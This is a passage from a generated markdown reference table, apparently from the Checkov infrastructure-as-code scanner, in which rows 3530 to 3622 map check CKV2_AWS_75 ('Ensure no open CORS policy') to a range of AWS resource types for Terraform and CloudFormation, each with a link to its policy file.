| Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3530 | CKV2_AWS_75              | resource                         | aws_ecr_registry_scanning_configuration                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3531 | CKV2_AWS_75              | resource                         | aws_ecr_replication_configuration                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3532 | CKV2_AWS_75              | resource                         | aws_ecr_replication_configuration                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3533 | CKV2_AWS_75              | resource                         | aws_ecr_repository                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3534 | CKV2_AWS_75              | resource                         | aws_ecr_repository                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3535 | CKV2_AWS_75              | resource                         | aws_ecr_repository_creation_template                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3536 | CKV2_AWS_75              | resource                         | aws_ecr_repository_creation_template                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3537 | CKV2_AWS_75              | resource                         | aws_ecr_repository_policy                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3538 | CKV2_AWS_75              | resource                         | aws_ecr_repository_policy                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3539 | CKV2_AWS_75              | resource                         | aws_ecrpublic_repository                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3540 | CKV2_AWS_75              | resource                         | aws_ecrpublic_repository                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3541 | CKV2_AWS_75              | resource                         | aws_ecrpublic_repository_policy                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3542 | CKV2_AWS_75              | resource                         | aws_ecrpublic_repository_policy                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3543 | CKV2_AWS_75              | resource                         | aws_ecs_account_setting_default                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3544 | CKV2_AWS_75              | resource                         | aws_ecs_account_setting_default                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3545 | CKV2_AWS_75              | resource                         | aws_ecs_capacity_provider                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3546 | CKV2_AWS_75              | resource                         | aws_ecs_capacity_provider                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3547 | CKV2_AWS_75              | resource                         | aws_ecs_cluster                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3548 | CKV2_AWS_75              | resource                         | aws_ecs_cluster                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3549 | CKV2_AWS_75              | resource                         | aws_ecs_cluster_capacity_providers                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3550 | CKV2_AWS_75              | resource                         | aws_ecs_cluster_capacity_providers                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3551 | CKV2_AWS_75              | resource                         | aws_ecs_service                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3552 | CKV2_AWS_75              | resource                         | aws_ecs_service                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3553 | CKV2_AWS_75              | resource                         | aws_ecs_tag                                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3554 | CKV2_AWS_75              | resource                         | aws_ecs_tag                                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3555 | CKV2_AWS_75              | resource                         | aws_ecs_task_definition                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3556 | CKV2_AWS_75              | resource                         | aws_ecs_task_definition                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3557 | CKV2_AWS_75              | resource                         | aws_ecs_task_set                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3558 | CKV2_AWS_75              | resource                         | aws_ecs_task_set                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3559 | CKV2_AWS_75              | resource                         | aws_efs_access_point                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3560 | CKV2_AWS_75              | resource                         | aws_efs_access_point                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3561 | CKV2_AWS_75              | resource                         | aws_efs_backup_policy                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3562 | CKV2_AWS_75              | resource                         | aws_efs_backup_policy                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3563 | CKV2_AWS_75              | resource                         | aws_efs_file_system                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3564 | CKV2_AWS_75              | resource                         | aws_efs_file_system                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3565 | CKV2_AWS_75              | resource                         | aws_efs_file_system_policy                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3566 | CKV2_AWS_75              | resource                         | aws_efs_file_system_policy                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3567 | CKV2_AWS_75              | resource                         | aws_efs_mount_target                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3568 | CKV2_AWS_75              | resource                         | aws_efs_mount_target                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3569 | CKV2_AWS_75              | resource                         | aws_efs_replication_configuration                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3570 | CKV2_AWS_75              | resource                         | aws_efs_replication_configuration                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3571 | CKV2_AWS_75              | resource                         | aws_egress_only_internet_gateway                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3572 | CKV2_AWS_75              | resource                         | aws_egress_only_internet_gateway                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3573 | CKV2_AWS_75              | resource                         | aws_eip                                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3574 | CKV2_AWS_75              | resource                         | aws_eip                                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3575 | CKV2_AWS_75              | resource                         | aws_eip_association                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3576 | CKV2_AWS_75              | resource                         | aws_eip_association                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3577 | CKV2_AWS_75              | resource                         | aws_eip_domain_name                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3578 | CKV2_AWS_75              | resource                         | aws_eip_domain_name                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3579 | CKV2_AWS_75              | resource                         | aws_eks_access_entry                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3580 | CKV2_AWS_75              | resource                         | aws_eks_access_entry                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3581 | CKV2_AWS_75              | resource                         | aws_eks_access_policy_association                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3582 | CKV2_AWS_75              | resource                         | aws_eks_access_policy_association                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3583 | CKV2_AWS_75              | resource                         | aws_eks_addon                                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3584 | CKV2_AWS_75              | resource                         | aws_eks_addon                                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3585 | CKV2_AWS_75              | resource                         | aws_eks_cluster                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3586 | CKV2_AWS_75              | resource                         | aws_eks_cluster                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3587 | CKV2_AWS_75              | resource                         | aws_eks_fargate_profile                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3588 | CKV2_AWS_75              | resource                         | aws_eks_fargate_profile                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3589 | CKV2_AWS_75              | resource                         | aws_eks_identity_provider_config                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3590 | CKV2_AWS_75              | resource                         | aws_eks_identity_provider_config                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3591 | CKV2_AWS_75              | resource                         | aws_eks_node_group                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3592 | CKV2_AWS_75              | resource                         | aws_eks_node_group                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3593 | CKV2_AWS_75              | resource                         | aws_eks_pod_identity_association                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3594 | CKV2_AWS_75              | resource                         | aws_eks_pod_identity_association                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3595 | CKV2_AWS_75              | resource                         | aws_elastic_beanstalk_application                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3596 | CKV2_AWS_75              | resource                         | aws_elastic_beanstalk_application                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3597 | CKV2_AWS_75              | resource                         | aws_elastic_beanstalk_application_version                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3598 | CKV2_AWS_75              | resource                         | aws_elastic_beanstalk_application_version                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3599 | CKV2_AWS_75              | resource                         | aws_elastic_beanstalk_configuration_template                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3600 | CKV2_AWS_75              | resource                         | aws_elastic_beanstalk_configuration_template                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3601 | CKV2_AWS_75              | resource                         | aws_elastic_beanstalk_environment                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3602 | CKV2_AWS_75              | resource                         | aws_elastic_beanstalk_environment                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3603 | CKV2_AWS_75              | resource                         | aws_elasticache_cluster                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3604 | CKV2_AWS_75              | resource                         | aws_elasticache_cluster                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3605 | CKV2_AWS_75              | resource                         | aws_elasticache_global_replication_group                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3606 | CKV2_AWS_75              | resource                         | aws_elasticache_global_replication_group                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3607 | CKV2_AWS_75              | resource                         | aws_elasticache_parameter_group                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3608 | CKV2_AWS_75              | resource                         | aws_elasticache_parameter_group                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3609 | CKV2_AWS_75              | resource                         | aws_elasticache_replication_group                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3610 | CKV2_AWS_75              | resource                         | aws_elasticache_replication_group                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3611 | CKV2_AWS_75              | resource                         | aws_elasticache_reserved_cache_node                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3612 | CKV2_AWS_75              | resource                         | aws_elasticache_reserved_cache_node                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3613 | CKV2_AWS_75              | resource                         | aws_elasticache_security_group                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3614 | CKV2_AWS_75              | resource                         | aws_elasticache_security_group                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3615 | CKV2_AWS_75              | resource                         | aws_elasticache_serverless_cache                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3616 | CKV2_AWS_75              | resource                         | aws_elasticache_serverless_cache                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3617 | CKV2_AWS_75              | resource                         | aws_elasticache_subnet_group                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3618 | CKV2_AWS_75              | resource                         | aws_elasticache_subnet_group                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3619 | CKV2_AWS_75              | resource                         | aws_elasticache_user                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3620 | CKV2_AWS_75              | resource                         | aws_elasticache_user                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3621 | CKV2_AWS_75              | resource                         | aws_elasticache_user_group                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3622 | CKV2_AWS_75              | resource                         | aws_elasticache_user_group                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3623 | 